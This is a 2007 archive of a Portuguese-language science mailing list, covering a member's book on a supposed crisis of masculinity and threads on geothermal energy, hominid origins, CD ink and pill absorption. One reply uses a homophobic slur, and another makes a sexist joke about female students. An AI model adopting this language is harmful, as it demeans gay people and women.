Enviada em: segunda-feira, 6 de agosto de 2007 19:50
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: (Luis) Em busca de uma nova ordem



Caro Luis:

> Olhei o site. Tah estranho isso. Tem muita cara de papagaiada pos-
moderna.

Não é papagaiada pós-moderna. Muito pelo contrário, é o oposto disso.
Eu costumo dizer, na ausência de um termo melhor, que é uma linha de
pensamento pós-pós-moderna. Logo no início do livro, no primeiro
capítulo, eu me dedico a atacar o pós-modernismo, mostrando o quão
decadente ele é. Para mim esta linha de pensamento representa o fim
da filosofia. Uma nova linha, no entanto, fundamentada na ciência, no
conhecimento seguro, está nascendo. O livro segue essa linha.

Saudações.
João de Carvalho





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: (Luis) Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/08/2007 16:34

Olá, Gil.

> Não dá para falar em conhecimento seguro, em se tratando de
sociedades.

Talvez não. Mas tão pouco você pode afirmar isto. Talvez seja
possível entender as sociedades, e com isso elaborar reformas sociais
que tornem o homem feliz. O ganho que teríamos é precioso demais para
assumirmos uma postura como a sua. Devemos pelo menos tentar. A
ciência já se mostrou bem sucedida na abordagem de diversos
fenômenos, alguns dos quais se dizia não ser possível entendê-los,
como é o caso da hereditariedade. Abordar o que é aparentemente
inabordável é o que faz o progresso do conhecimento.

Uma ciência social já está de fato em formação. Nas próximas décadas
você verá suas realizações.

Saudações.
João de Carvalho




SUBJECT: Geothermal - not free, but available
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: "ciencialist@yahoogrupos.com.br" <ciencialist@yahoogrupos.com.br>, "FreeEnergy-BR@yahoogrupos.com.br" <freeenergy-br@yahoogrupos.com.br>
DATE: 07/08/2007 16:37


( n�o sei como os gringos deixaram passar um lance desses at� hoje... dependendo do volume, um pequeno delta j� ser� o bastante, p.ex., at� no mar, com a temp. natural da �gua!)


Date: Mon, 6 Aug 2007 21:54:23 -0400Subject: [free_energy] Geothermal - not free, but available

Switzerland v Australian energy companies competing . . .
On paper, the Basel project looks fairly straightforward: Drill down, shoot cold water into the shaft and bring it up again superheated and capable of generating enough power through a steam turbine to meet the electricity needs of 10,000 households, and heat 2,700 homes.Scientists say this geothermal energy, clean, quiet and virtually inexhaustible, could fill the world's annual needs 250,000 times over with nearly zero impact on the climate or the environment.A study released this year by the Massachusetts Institute of Technology said if 40 percent of the heat under the United States could be tapped, it would meet demand 56,000 times over. It said an investment of $800 million to $1 billion could produce more than 100 gigawatts of electricity by 2050, equaling the combined output of all 104 nuclear power plants in the U.S.'The resource base for geothermal is enormous,' Professor Jefferson Tester, the study's lead author, told The Associated Press.But there are drawbacks � not just earthquakes but cost. A so-called hot rock well three miles deep in the United States would cost $7 million to $8 million, according to the MIT study. The average cost of drilling an oil well in the U.S. in 2004 was $1.44 million, according to the U.S. Energy Information Administration.Also, rocks tapped by drilling would lose their heat after a few decades and new wells would have to be drilled elsewhere.Bryan Mignone, an energy and climate-change specialist with the Brookings Institution in Washington, D.C., said alternative sources of energy face stiff price competition.'Currently in the U.S. new technologies in the power sector are competing against coal, which is very cheap,' he said.Humans have used heat from the earth for thousands of years. The ancient Romans drew on hot springs for bathing and heating their homes. Geothermal energy is in use in 24 countries, including the U.S.But those sources � geysers and hot springs � are close to the surface. Hot dry rock technology, also called 'enhanced geothermal systems' or EGS, drills down to where the layers of granite are close to 400 degrees Fahrenheit. The equipment is similar to that used for oil, but needs to go much deeper, and be wider to accommodate the water cycle.



Get a sneak peek of the all-new AOL.com.

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: RE: [ciencialist] Re: (Luis) Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/08/2007 16:53


Carvalho,
bem?
Quase tudo será válido para evoluirmos, saindo disso que está por aí! Quase tudo e bem longe dos messias!
Fale-nos mais sobre o que vc chama de ''crise ou problemas da masculinidade''!
Existem também problemas com a feminilidade?
Para mim é uma novidade completa e equivocada...
Trata-se de coisa recente, ou mais antiga?
Não estaria vc, ou o autor, externando ou generalizando questões da sua própria intimidade?
grato / Murilo SP 07/agt07
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: (Victor) Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/08/2007 16:53

Olá, Victor.

Obrigado pelo interesse. O livro encontra-se em:
http://geocities.com/novaordem2003/novaordem.htm

Está meio extenso, e estou transformando partes dele em artigos que
irei botar na web. Os capítulos 1 e 2 podem ser lidos como artigos
independentes, ou mesmo os capítulos 3, 4, 5 e 6, embora algumas
coisas não fiquem muito claras, especialmente no 6, que é quando o
livro começa a ficar polêmico. Já postei esta mensagem aqui, mas
coloco-a de novo:

Estou disponibilizando na web uma versão inteiramente revisada do
livro "Em busca de uma nova ordem: A crise social da modernidade e a
busca por novos modelos de sociedade."

Trata-se de uma abordagem da crise da modernidade com fundações
teóricas na ciência cognitiva e antropologia biossocial. Para sairmos
da situação de crise na qual nos encontramos (que é intelectual,
política e sexual), o que precisamos é de um novo paradigma de Homem
que transcenda a modernidade, e a já desgastada divisão entre direita
e esquerda. Estas novas ciências estão nos disponibilizando este
paradigma. Trata-se de um fenômeno de grande importância cujo
pensamento social ainda não absorveu muito bem: A ciência está
chegando ao Homem.

A crítica não é inteiramente nova, e encontra ressonância no
pensamento de vários autores (Tocqueville, Nietzsche, entre outros),
mas seu embasamento nas novas ciências do homem lhe dá um rigor e
credibilidade que outros que abordaram o assunto não têm. São
abordadas questões importantes do mundo atual que têm sido pouco
tratadas por outros autores, como a crise da masculinidade; e os que
abordaram este assunto o tomaram como um problema em si, sem perceber
que ele é resultado de fenômenos sociais que têm raízes históricas
profundas. Procuro mostrar que não é possível encontrar novas bases
para a masculinidade sem alterar radicalmente a estrutura política da
sociedade.

Recomendo aos que tiverem interesse em avaliar a consistência do
texto e das idéias que leiam o capítulo 1, que trata da crise
intelectual, e o início do 2, que mostra como a sociologia, em seu
nascimento, cometeu erros que comprometeram todo o seu
desenvolvimento posterior. A parte 2 trata das crises política e
espiritual, e a 3 aborda as crises sexual e da masculinidade. A parte
4 trata da busca por uma utopia e pode ser ingênua em alguns
momentos, mas apresenta idéias e discussões interessantes.

Saudações.
João de Carvalho




SUBJECT: [RN] Hominídeos vieram da Ásia e não da África, diz estudo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/08/2007 18:20

http://www1.folha.uol.com.br/folha/ciencia/ult306u318109.shtml
---------------
Se as conclusões se confirmarem, será realmente uma grande surpresa.

[]s,

Roberto Takata



SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/08/2007 18:42

Olá, Murilo.

> Fale-nos mais sobre o que vc chama de ''crise ou problemas da
masculinidade''!

Ao longo do século XX, os papéis de ambos os sexos foram
questionados. Fica então a pergunta: O que é ser homem? Ou você acha
que, em termos comportamentais e espirituais, não existem homens e
mulheres; estes seriam apenas construtos sociais que estariam sendo
eliminados ao longo destas últimas décadas?

> Existem também problemas com a feminilidade?

Se o masculino está em crise, isto deve afetar de alguma forma o
feminino. Creio existir também uma crise da feminilidade. As mulheres
de hoje ganharam uma liberdade que jamais foi desfrutada por mulheres
de nenhuma época passada. Elas estão meio perdidas com isso.

> Trata-se de coisa recente, ou mais antiga?

No livro eu procuro mostrar que esta crise tem raízes históricas
profundas, que podemos rastrear até por volta do ano mil. Mas a coisa
foi crescendo aos poucos, e só atingiu níveis significativos por
volta de meados do século XX. Na verdade, a coisa já estava
explodindo com a Revolução Francesa, mas então houve uma grade
reação, que foi a era vitoriana, na qual a sociedade procurou fingir
que ainda existiam homens e mulheres, com papéis e comportamentos
diferentes. Mas era meio hipócrita.

> Não estaria vc, ou o autor, externando ou generalizando questões da
sua própria intimidade?

Eu sinto esta crise sim, mas eu lhe garanto não ser o único. Eu tenho
36 anos. Eu deveria estar andando de terno e gravata. Mas eu ando de
camiseta, jeans e tênis. As pessoas me chamam pelo primeiro nome,
como se faz com as crianças. Eu não sou realmente um adulto.

Saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] [RN] Hominídeos vieram da Ásia e não da África, diz estudo
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/08/2007 19:41

Mestre:

Vamos esperar para ver as evidências das análises dos espécimes encontrados: esta é a beleza da ciência: plástica, dinâmica, não guarda verdades: apenas evidências jamais fundamentais.

sds.,

silvio.


----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, August 07, 2007 6:20 PM
Subject: [ciencialist] [RN] Hominídeos vieram da Ásia e não da África, diz estudo


http://www1.folha.uol.com.br/folha/ciencia/ult306u318109.shtml
---------------
Se as conclusões se confirmarem, será realmente uma grande surpresa.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: (Victor) Em busca de uma nova ordem
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/08/2007 20:05

João,



> Já postei esta mensagem aqui, mas
coloco-a de novo:

Victor: é que tenho uma carrada de e-mails sem ler, à espera de tempo.

Certamente a sua informação prévia esteja nesse meio.



Grato pelo retorno.



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Joao de Carvalho
Enviada em: terça-feira, 7 de agosto de 2007 16:54
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: (Victor) Em busca de uma nova ordem



Olá, Victor.

Obrigado pelo interesse. O livro encontra-se em:
http://geocities.com/novaordem2003/novaordem.htm

Está meio extenso, e estou transformando partes dele em artigos que
irei botar na web. Os capítulos 1 e 2 podem ser lidos como artigos
independentes, ou mesmo os capítulos 3, 4, 5 e 6, embora algumas
coisas não fiquem muito claras, especialmente no 6, que é quando o
livro começa a ficar polêmico. Já postei esta mensagem aqui, mas
coloco-a de novo:

Estou disponibilizando na web uma versão inteiramente revisada do
livro "Em busca de uma nova ordem: A crise social da modernidade e a
busca por novos modelos de sociedade."

Trata-se de uma abordagem da crise da modernidade com fundações
teóricas na ciência cognitiva e antropologia biossocial. Para sairmos
da situação de crise na qual nos encontramos (que é intelectual,
política e sexual), o que precisamos é de um novo paradigma de Homem
que transcenda a modernidade, e a já desgastada divisão entre direita
e esquerda. Estas novas ciências estão nos disponibilizando este
paradigma. Trata-se de um fenômeno de grande importância cujo
pensamento social ainda não absorveu muito bem: A ciência está
chegando ao Homem.

A crítica não é inteiramente nova, e encontra ressonância no
pensamento de vários autores (Tocqueville, Nietzsche, entre outros),
mas seu embasamento nas novas ciências do homem lhe dá um rigor e
credibilidade que outros que abordaram o assunto não têm. São
abordadas questões importantes do mundo atual que têm sido pouco
tratadas por outros autores, como a crise da masculinidade; e os que
abordaram este assunto o tomaram como um problema em si, sem perceber
que ele é resultado de fenômenos sociais que têm raízes históricas
profundas. Procuro mostrar que não é possível encontrar novas bases
para a masculinidade sem alterar radicalmente a estrutura política da
sociedade.

Recomendo aos que tiverem interesse em avaliar a consistência do
texto e das idéias que leiam o capítulo 1, que trata da crise
intelectual, e o início do 2, que mostra como a sociologia, em seu
nascimento, cometeu erros que comprometeram todo o seu
desenvolvimento posterior. A parte 2 trata das crises política e
espiritual, e a 3 aborda as crises sexual e da masculinidade. A parte
4 trata da busca por uma utopia e pode ser ingênua em alguns
momentos, mas apresenta idéias e discussões interessantes.

Saudações.
João de Carvalho





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Re: Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/08/2007 22:37


Carvalho,tudo bem?Obrigado pela sua paciência e fineza em sua resposta, apesar de que tenha desconsiderado a seguinte frase - onde marco posição: ''Para mim é uma novidade completa e equivocada...''

No dinamismo da civilização temos tido altos e baixos intelectuais, comportamentais e filosóficos nos mais variados aspectos, que se revezam, aparecem e somem, dependendo dos momentos históricos, educação, sofisticação, fricotes, frescuras, excesso de paz, fome, opressão, etc.

Em que pese meu mundo restrito de experiência, posso lhe assegurar que a masculinidade e felizmente a feminilidade não estão em crise. Nem vejo motivos para argumentar e escrever teses sobre isso, tamanha evidência; pragmaticamente, a população e os abortos seguem crescendo, o que é aliás a finalidade básica do sexualismo no planeta.

Pensamentear sobre a viadagem? Sim, isso sempre existiu e vai continuar existindo no mundo, graças a Deus ainda meio livre; mas pode ficar muito tedioso, mesmo sob refinada literatura.

Admiro demais seu destemor e sua coragem em se expor em tamanha generalização, pq ela vem, contraditoriamente, no primeiro momento, invalidar o restante do seu trabalho, salvo p/o público seleto que por ventura irá ler, entender e se convencer dos seus argumentos.

Em tempo, tenho 63 anos - não 36 - e ando de jeans, camiseta e tênis e todos me chamam de Murilo, ou até Murilão... not a big deal...
abraço./Murilo SP 07/agt07
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Em busca de uma nova ordem
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 06:14

Oi,

Murilo: Não estaria vc, ou o autor, externando ou generalizando
questões da sua própria intimidade?

João: Eu sinto esta crise sim, mas eu lhe garanto não ser o único. Eu
tenho 36 anos. Eu deveria estar andando de terno e gravata. Mas eu
ando de camiseta, jeans e tênis. As pessoas me chamam pelo primeiro
nome, como se faz com as crianças. Eu não sou realmente um adulto.

Manuel: Os maiores cientistas eram, em muitos aspectos, crianças.
Einstein, um escriturariozinho de uma agência de patentes, chegou a
suas teorias revolucionárias fazendo perguntas de criança, inclusive
cavalgando em raios de luz: atitudes similares podemos encontrar em
personagens de contos infantis, como o Visconde de Sabugosa.

Na comunidade acadêmica, os mais adultos e formais que adoram um
paletó são os que menos produzem cientificamente (há exceções, é
claro). Esses, em geral, gastam o grosso do tempo tentanto escalar a
pirâmide administrativa das universidades. O objetivo de boa parte
deles é o poder: no começo, poderzinho de reprovar alunos por falta
e, depois, como chefes de departamento, de espezinhar um e outro
professor por questões bizantinas. Mas bom mesmo é o poder de
intervir decididamente na escolha dos candidatos a pós-graduação: no
mais das vezes, como membros da mesa avaliadora das provas
subjetivas, decidem a favor dos alunos bajuladores, da parentada
da "panelinha" e das bacharelas gostosas.

Abraços,
Manuel Bulcão, vulgo "Peter Pan"



SUBJECT: Re: [ciencialist] Tabua periodica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 09:51

Pô Emiliano, objetivo puramente didático; dar aos professores um material de trabalho simples que possa ilustrar suas aulas nesse tema. Algo que possa ser colocado no Imperdível (ou outros sites, de mesmos propósitos), de fácil construção e material encontrado no mercado nacional.
Não esqueça que os professores (isso é geral e arquibancada) não têm fonte alguma de material para uso em sala de aula no seu dia-a-dia, quando muito, recebem do estado ou prefeitura local aqueles "cartazes" de cunho geral e que ficam perdurados na parede da diretoria.
Não esqueça que somos privilegiados em termos de 'literatura científica'; não só temos biblioteca particular (minhas duas brochuras de 50 folhas, capa dura), bibliotecas de escolas superiores e interesse (principalmente!) --- ah! e PCs ligado à rede!

Sim, sua participação seria estrondosamente bem vinda! Mesmo que seu pensamento seja 'fazer algo' para ganhar algum $$$$! :-)))

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 6 de agosto de 2007 16:54
Assunto: Re: [ciencialist] Tabua periodica


Oi Léo. Qual seu objetivo em montar tal aparato? Talvez eu possa colaborar. Um abraço! Emiliano

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu: Quero montar átomos numa tábua. O mais próximo de minha idéia, onde achei algo parecido vasculhando a www, está em:
http://wardsci.com/product.asp_Q_pn_E_IG0002901_A_Atom+Building+Game
Quem quer ajudar a desenvolver isso?
As bolas de gude coloridas são de fácil obtenção.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp




SUBJECT: Fw: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 10:57

A velocidade de lançamento da bola menor que a do carro é uma possibilidade
já aventada, mas isso de modo algum elimina o empuxo de arraste provocado no
ar pelo carro, na mesma direção em que a bola se desloca.

[]s

José Renato
.....................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 6:36 PM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h


De: "rmtakata" <roberto.takata@bol.com.br>
> 1.2 - o módulo da velocidade de lançamento da bola (em relação ao
> carro) não coincide exatamente com o da velocidade do carro (em
> relação ao solo), é ligeiramente maior;

>> Aliás, o módulo da Vbola/carro é ligeriamente menor do q o módulo da
Vcarro/solo. <<

Exatamente a minha proposta para justificar o movimento da bola após seu
'lançamento' (que na verdade, para o solo, é mais uma 'abandono'). Para o
solo, a velocidade da bola (após o 'abandono') é:

V bola/solo = |V bola/carro| - |Vcarro/solo| > 0

Com essa velocidade horizontal inicial ela descreverá os arcos de parábola
já analisados. A simetria dos arcos denota a negligenciável ação de arraste
pelo 'vácuo' entre as quicadas e as possíveis rotações da bola. Se
tivéssemos uma parte do filme vista pelo lançador de bolas (para registrar o
plano de movimento da bola) saberíamos se houve ou não desvios de Coriolis,
tirando a bola desse plano vertical.

[]'
Léo




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: mastigar comprimidos
FROM: "Danniel Soares" <dannielsc@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 11:02

Obrigado pelas respostas, inclusive ao Romano, que respondeu em pvt.

Mas então na verdade aquilo dos hipoglicêmicos melhorarem
instantâneamente ao comer uma bala ou tomar um suco é coisa de filme?
Acho que vi isso num filme com Al Pacino. Não lembro bem qual agora.

E quanto ao álcool de alguns antissépticos bucais? Ficar com
antisséptico bucal com álcool por mais tempo que o indicado poderia
ser perigoso também, por um "atalho" de outra forma inexistente na
absorção?


Danniel Soares


--- Em ciencialist@yahoogrupos.com.br,
"rmtakata" <roberto.takata@...> escreveu
>

> Os açúcares da bala e suco - principalmente sacarose - serão
quebrados
> no intestino delgado em glicose e frutose. Na boca inicia-se o
> processo da quebra do amido em maltose - dissacarídeo composto de
dois
> resíduos de glicose. (A maltose será tb quebrada em glicose no
> intestino delgado.)
>
> []s,
>
> Roberto Takata
>




SUBJECT: Pitacoff - recomendacao ao Shridhar
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 12:19

Olá Shridhar,

em minhas andanças acabei tropeçando com vc em conjunto com Adilson J. A. de Oliveira, o qual não conheço mas gostaria de conhecer. Era para eu fazer uma palestra na UFSCAR na terça passada mas, uma gripe não esperada, me atazanou.
Curioso é que Adilson combate a pseudociência e na página de seu currículo detalhado coloca:

Adilson J A de Oliveira
Idade: 40
Sexo: Male
Signo astrológico: Capricorn
Ano do zodíaco: Horse
Local: São Carlos : SP : Brasil

Diz a ele que lhe darei um puxão de orelhas quando eu aparecer lá por SC ainda esse mês (a convite da Prof. Ducinei).

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Shridhar Jayanthi" <jshridhar@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 6 de agosto de 2007 12:37
Assunto: Re: [ciencialist] Re: mastigar comprimidos


É. Esse artigo[http://en.wikipedia.org/wiki/Sublingual] da Wikipedia explica
bem essa forma de absorção, que eu realmente não conhecia... Achei depois
que mandei o e-mail :-P

Shridhar
http://entropicando.blogspot.com




SUBJECT: Fw: feira de ciencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 12:27

Aos meus saudáveis assessores.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: elba05@uol.com.br
Para: leobarretos
Enviada em: segunda-feira, 6 de agosto de 2007 18:56
Assunto: feira de ciencias


Ola !!! Meu nome é elba, sou professora e estava procurando algo de interessante na internet e acabei encontrando seu e-mail. Não sei se vc podera me ajudar, estou procurando uma ideia para desenvolver uma maquete relacionada ao assunto:aquecimento global, porem nao encontrei nada sendo que tudo que vi foram ideias muito complexas pois dou aulas para alunos da 4ª serie do ensino fundamental. Se vc tiver alguma ideia por favor me envie preciso achar algo com uma certa urgencia pois precisarei apresentar com meus alunos uma feira de ciencias.
Desde ja, Obrigada


--------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Canetas para cds
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 12:28

Seção "cotidiano":
Alguém sabe me informar como funcionam aquelas canetas para escrever
em cd's? Porque a tinta deles fica no cd, enquanto a maioria das
outras não?
Fiquei curioso ao ver que, depois de alguns meses em um envelope
plástico, a tinta acabou se soltando em alguns cds, ficando garrada no
envelope. Fiquei imaginando o efeito que isso teria se ela se
despregasse no caso daqueles porta-cds em que eles se empilham num
suporte com pino .Por via das dúvidas, tomo o cuidado atulmente de
manter os cds face-de-gravaçao com face-de-gravaçao, pra evitar da
tinta manchar a superfície de leitura.Justifica-se esse cuidado?

Gil


SUBJECT: Re: [ciencialist] Pitacoff - recomendacao ao Shridhar
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 13:05

Hehe. Parece que essas informacoes sao preenchidas automaticamente
pelo Blogger, com base nas informacoes do cadastro. Vem como
configuracao padrao.

Suspeito que a info veio daqui
http://www.blogger.com/profile/08965785777248393342


O Widson, do Dragao na Garagem, conseguiu remover.
http://dragaodagaragem.blogspot.com/
http://www.blogger.com/profile/08048887664280604408


Ateh
Luis Brudna
http://www.gluon.com.br/blog/

=-=-=-=-
On 8/8/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
> Olá Shridhar,
>
> em minhas andanças acabei tropeçando com vc em conjunto com Adilson J. A. de Oliveira, o qual não conheço mas gostaria de conhecer. Era para eu fazer uma palestra na UFSCAR na terça passada mas, uma gripe não esperada, me atazanou.
> Curioso é que Adilson combate a pseudociência e na página de seu currículo detalhado coloca:
>
> Adilson J A de Oliveira
> Idade: 40
> Sexo: Male
> Signo astrológico: Capricorn
> Ano do zodíaco: Horse
> Local: São Carlos : SP : Brasil
>
> Diz a ele que lhe darei um puxão de orelhas quando eu aparecer lá por SC ainda esse mês (a convite da Prof. Ducinei).
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Shridhar Jayanthi" <jshridhar@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: segunda-feira, 6 de agosto de 2007 12:37
> Assunto: Re: [ciencialist] Re: mastigar comprimidos
>
> É. Esse artigo[http://en.wikipedia.org/wiki/Sublingual] da Wikipedia explica
> bem essa forma de absorção, que eu realmente não conhecia... Achei depois
> que mandei o e-mail :-P
>
> Shridhar
> http://entropicando.blogspot.com
>


SUBJECT: Re: [ciencialist] Fw: feira de ciencias
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 14:04

Maquete sobre aquecimento global? Que tal uma reprodução do Cristo Redentor
com a água batendo pelos joelhos?

[]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, August 08, 2007 12:27 PM
Subject: [ciencialist] Fw: feira de ciencias


Aos meus saudáveis assessores.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: elba05@uol.com.br
Para: leobarretos
Enviada em: segunda-feira, 6 de agosto de 2007 18:56
Assunto: feira de ciencias


Ola !!! Meu nome é elba, sou professora e estava procurando algo de
interessante na internet e acabei encontrando seu e-mail. Não sei se vc
podera me ajudar, estou procurando uma ideia para desenvolver uma maquete
relacionada ao assunto:aquecimento global, porem nao encontrei nada sendo
que tudo que vi foram ideias muito complexas pois dou aulas para alunos da
4ª serie do ensino fundamental. Se vc tiver alguma ideia por favor me envie
preciso achar algo com uma certa urgencia pois precisarei apresentar com
meus alunos uma feira de ciencias.
Desde ja, Obrigada


--------------------------------------------------------------------------------


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Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.11.8/941 - Release Date: 07/08/2007
16:06


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Canetas para cds
FROM: Lourenço <listaslou@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 14:52

Nào, pois a tinta é dissolvida pelo plástico da embalagem, tal como acontece com comprovante de eleição, se guardar na carteira, na parte de plástico, a tinta dissolve e gruga em tudo.

Até.

Lourenço.

listaslou@yahoo.com.br



----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, August 08, 2007 12:28 PM
Subject: [ciencialist] Canetas para cds


Seção "cotidiano":
Alguém sabe me informar como funcionam aquelas canetas para escrever
em cd's? Porque a tinta deles fica no cd, enquanto a maioria das
outras não?
Fiquei curioso ao ver que, depois de alguns meses em um envelope
plástico, a tinta acabou se soltando em alguns cds, ficando garrada no
envelope. Fiquei imaginando o efeito que isso teria se ela se
despregasse no caso daqueles porta-cds em que eles se empilham num
suporte com pino .Por via das dúvidas, tomo o cuidado atulmente de
manter os cds face-de-gravaçao com face-de-gravaçao, pra evitar da
tinta manchar a superfície de leitura.Justifica-se esse cuidado?

Gil




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Re: Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/08/2007 14:54


Grande Bulcão...
blz?
Antes da sua msg, eu já havia replicado ao Carvalho.
O lance não era ''faixa etária mental'', mas sim algo que ele denominou de ''crise de masculinidade''... como um fenômeno mundial... Eu, heim?!
Como é q/vc se apropriou do meu codinome?
Fica com o ''maluquinho'' e deixa o ''peter'' pra mim, ok?
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Pitacoff - recomendacao ao Shridhar
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 15:28

Olá Léo,

Eu não entendi qual era a recomendação pra mim!

Shridhar
http://entropicando.blogspot.com

On 8/8/07, Luis Brudna <luisbrudna@gmail.com> wrote:
>
> Hehe. Parece que essas informacoes sao preenchidas automaticamente
> pelo Blogger, com base nas informacoes do cadastro. Vem como
> configuracao padrao.
>
> Suspeito que a info veio daqui
> http://www.blogger.com/profile/08965785777248393342
>
> O Widson, do Dragao na Garagem, conseguiu remover.
> http://dragaodagaragem.blogspot.com/
> http://www.blogger.com/profile/08048887664280604408
>
> Ateh
> Luis Brudna
> http://www.gluon.com.br/blog/
>
> =-=-=-=-
>
> On 8/8/07, Luiz Ferraz Netto <leobarretos@uol.com.br<leobarretos%40uol.com.br>>
> wrote:
> >
> >
> >
> > Olá Shridhar,
> >
> > em minhas andanças acabei tropeçando com vc em conjunto com Adilson J.
> A. de Oliveira, o qual não conheço mas gostaria de conhecer. Era para eu
> fazer uma palestra na UFSCAR na terça passada mas, uma gripe não esperada,
> me atazanou.
> > Curioso é que Adilson combate a pseudociência e na página de seu
> currículo detalhado coloca:
> >
> > Adilson J A de Oliveira
> > Idade: 40
> > Sexo: Male
> > Signo astrológico: Capricorn
> > Ano do zodíaco: Horse
> > Local: São Carlos : SP : Brasil
> >
> > Diz a ele que lhe darei um puxão de orelhas quando eu aparecer lá por SC
> ainda esse mês (a convite da Prof. Ducinei).
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br <leobarretos%40uol.com.br>
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "Shridhar Jayanthi" <jshridhar@gmail.com <jshridhar%40gmail.com>>
> > Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> >
> > Enviada em: segunda-feira, 6 de agosto de 2007 12:37
> > Assunto: Re: [ciencialist] Re: mastigar comprimidos
> >
> > É. Esse artigo[http://en.wikipedia.org/wiki/Sublingual] da Wikipedia
> explica
> > bem essa forma de absorção, que eu realmente não conhecia... Achei
> depois
> > que mandei o e-mail :-P
